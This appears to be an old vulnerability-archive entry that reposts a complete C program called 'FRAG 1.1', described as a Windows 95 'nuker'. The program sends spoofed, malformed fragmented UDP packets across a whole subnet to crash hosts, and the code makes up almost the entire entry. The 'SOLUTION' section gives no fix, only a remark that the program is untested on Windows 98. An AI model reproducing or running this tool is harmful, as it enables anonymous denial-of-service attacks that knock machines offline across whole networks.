COMMAND

    win nuker

SYSTEMS AFFECTED

    Win95, 98?

PROBLEM

    'morex' posted following.  It's a little nitty griddy win95 nuker.
    Code follows:

    /*
            Use -lm to compile
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <math.h>

    #define NUM_BOMB 1
    #define SIZE 64
    #define MTU 48

    struct pseudohdr {
       unsigned long saddr, daddr;
       char zero;
       char protocol;
       unsigned short length;
       struct udphdr udp;
    };

    void banner(void) {

       printf("\nFRAG 1.1\n");

    }

    void usage(const char *progname) {

       printf("usage :\n");
       printf("%s < spoof > < dest[/mask] > [ numbomb ]\n",progname);

    }

    int resolve( const char *name, unsigned int port, struct sockaddr_in *addr
    ) {

       struct hostent *host;

       memset(addr,0,sizeof(struct sockaddr_in));

       addr->sin_family = AF_INET;
       addr->sin_addr.s_addr = inet_addr(name);

       if (addr->sin_addr.s_addr == -1) {
          if (( host = gethostbyname(name) ) == NULL )  {
             fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
             return(-1);
          }
          addr->sin_family = host->h_addrtype;
          memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
       }

       addr->sin_port = htons(port);
       return(0);

    }

    unsigned short in_cksum(addr, len)
        u_short *addr;
        int len;
    {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        /*
         * Our algorithm is simple, using a 32 bit accumulator (sum), we add
         * sequential 16 bit words to it, and at the end, fold back all the
         * carry bits from the top 16 bits into the lower 16 bits.
         */   
        while (nleft > 1)  {
            sum += *w++;
            nleft -= 2;
        }

        /* mop up an odd byte, if necessary */
        if (nleft == 1) {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
        }

        /* add back carry outs from top 16 bits to low 16 bits */
        sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
        sum += (sum >> 16);                 /* add carry */
        answer = ~sum;                      /* truncate to 16 bits */
        return(answer);
    }

    int send_winbomb(int socket,
                     unsigned long spoof_addr,
                     struct sockaddr_in *dest_addr) {

       unsigned char  *packet;
       struct iphdr   *ip;
       struct udphdr *udp;
       int rc;
       struct pseudohdr pseudo;


       packet = (unsigned char *)malloc(sizeof(struct iphdr) +
                                        sizeof(struct udphdr) + SIZE);

       ip = (struct iphdr *)packet;
       udp = (struct udphdr *)(packet + sizeof(struct iphdr));

       memset(ip,0,sizeof(struct iphdr) + sizeof(struct udphdr) + SIZE);

       /* This is the IP header of our packet. */

       ip->ihl       = 5;
       ip->version   = 4;
       ip->id        = htons(34717);
       ip->tot_len   = htons(sizeof(struct iphdr) + sizeof(struct udphdr) +
    SIZE);
       ip->ttl       = 255;
       ip->protocol  = IPPROTO_UDP;
       ip->saddr     = spoof_addr;
       ip->daddr     = dest_addr->sin_addr.s_addr;
       ip->check     = in_cksum(ip, sizeof(struct iphdr));

       udp->source = htons(random());
       udp->dest   = htons(random());
       udp->len    = htons(sizeof(struct udphdr) + SIZE);

       pseudo.saddr    = ip->saddr;
       pseudo.daddr    = ip->daddr;
       pseudo.protocol = IPPROTO_UDP;
       pseudo.zero     = 0;
       pseudo.length   = htons(sizeof(struct udphdr) + SIZE);
       pseudo.udp      = *udp;

       ip->frag_off |= htons(0x2000);
       ip->tot_len   = htons(MTU);
       if (sendto(socket,
                  packet,
                  MTU,0,
                  (struct sockaddr *)dest_addr,
                  sizeof(struct sockaddr)) == -1) { return(-1); }


       ip->tot_len   = htons((sizeof(struct udphdr) + SIZE) % MTU);
       ip->frag_off  = htons((MTU - sizeof(struct iphdr)) >> 3);
       ip->check     = in_cksum(ip, sizeof(struct iphdr));

       if (sendto(socket,
                  packet,
                  (sizeof(struct udphdr) + SIZE) % MTU,0,
                  (struct sockaddr *)dest_addr,
                  sizeof(struct sockaddr)) == -1) { return(-1); }

       free(packet);
       return(0);

    }

    int main(int argc, char * *argv) {

       struct sockaddr_in dest_addr;
       unsigned int i,sock,numbomb;
       unsigned long src_addr,longtmp,currentip,lastip,mask;
       char *target_net,*p;

       banner();

       if ((argc < 3) || (argc < 4)) {
          usage(argv[0]);
          return(-1);
       }

       target_net = strtok(strdup(argv[2]), "/");
       mask = (p = strtok(NULL,""))? atoi(p) : 32;

       if (argc == 4) {
          numbomb = atoi(argv[3]);
       } else {
          numbomb = NUM_BOMB;
       }

       if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
          fprintf(stderr,"ERROR: Opening raw socket.\n");
          return(-1);
       }
       if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
       src_addr = dest_addr.sin_addr.s_addr;

       if (resolve(target_net,0,&dest_addr) == -1) { return(-1); }

       printf("%s: sending packets.\n",argv[0]);

       longtmp = ntohl(dest_addr.sin_addr.s_addr);
       currentip = longtmp & (unsigned long) (0 - pow(2,32 - mask));
       lastip = longtmp | (unsigned long) (pow(2,32 - mask) - 1);

       while(currentip <= lastip) {
           if(currentip % 256 && currentip % 256 != 255) {
    /*           printf("\n%u...", currentip);*/
               dest_addr.sin_addr.s_addr = htonl(currentip);
               for (i = 0;i < numbomb;i++) {
                   if (send_winbomb(sock,
                                    src_addr,
                                    &dest_addr) == -1) {
                       fprintf(stderr,"ERROR: sending packet.\n");
                       return(-1);
                   }
                   usleep(1000);
               }
           }
           currentip++;
       }
       printf("%s: done.\n",argv[0]);

    }

SOLUTION

    There was no time to see if it works in 98 or winsoke 2.X+